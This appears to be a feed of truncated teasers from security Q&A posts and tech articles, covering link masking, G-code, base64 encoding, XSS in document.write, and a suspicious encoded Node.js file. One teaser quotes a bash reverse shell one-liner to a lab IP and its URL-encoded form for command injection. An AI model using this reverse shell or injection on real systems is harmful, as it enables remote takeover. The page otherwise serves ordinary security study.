Collaborate Disseminate
Several google products (mainly Gmail) masks links using a fake-dns mobile-webview.gmail.com
That domain doesn’t resolve anywhere, not even Google’s own NS https://dnschecker.org/#A/mobile-webview.gmail.com
Most apps mask it in a half-brok… Continue reading Documentation on mobile-webview.gmail.com link masking?
G-code is effective, easily edited, and nearly ubiquitous when it comes to anything CNC. The format has many strengths, but space efficiency isn’t one of them. In fact, when it …read more Continue reading G-code Goes Binary with Proposed New Format
The ID library Nano ID claims that modulo based encoding (e.g. Base64) would lead to uneven distribution in the output:
Uniformity. random % alphabet is a popular mistake to make when coding an ID generator. The distribution will not be e… Continue reading Is encoding random with module insecure? [closed]
I try to put bash reverse shell as a URL parameter. The command is as follows:
bash -i >& /dev/tcp/192.168.56.105/4444 0>&1
I have encoded the above code with URL encoding
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.105%2… Continue reading Bash reverse shell as a URL parameter value
https://pastebin.com/S39zzXha
this is the link to the file. (named "logger.js")
in the project where the file is located, the package.json has script field as following:
"scripts": {
"start": "node logg… Continue reading is this JS file malicious (ran as nodejs)? everything is encoded
I am doing some research into scam websites (particularly the ones where you receive a text message telling you you have an undelivered package, or unpaid tolls etc and they provide you with a link to click).
I am using Burp Suite to look … Continue reading What sort of cookie is this website giving users
If you’re looking to manipulate video, FFmpeg is one of the most powerful tools out there. But with this power comes a considerable degree of complexity, and a learning curve …read more Continue reading Explore FFmpeg From the Comfort of your Browser
Now this may seem like a stupid question, but it just occurred to me: How secure is base64 encoding compared to (plain) hashing?
Nobody can read base64 code by itself, but it still isn’t that hard to decode it:
atob("SomePasswordInBas… Continue reading Using base64 for secure encoding [duplicate]
Let’s say a website contains the following <script> tag and does not have a CSP blocking any execution here.
<script type="text/javascript">
document.write(location.href)
</script>
At first glance, this code … Continue reading XSS in document.write(location.href)
I am working on a challenge that includes decrypting a piece of ciphertext. The sample decryption provided is as follows:
KDEwMTAwMDExMTAxMDEwMTAwMTEwMDExMTAxMDAxMDAwMDExMTEwMDAwMTEwMTAwMTAxMTAxMTAwMTAxMDEwMCwxMDAxKQ —> HaCkTrIcK
My fir… Continue reading Decrypting a Base64 ciphertext [duplicate]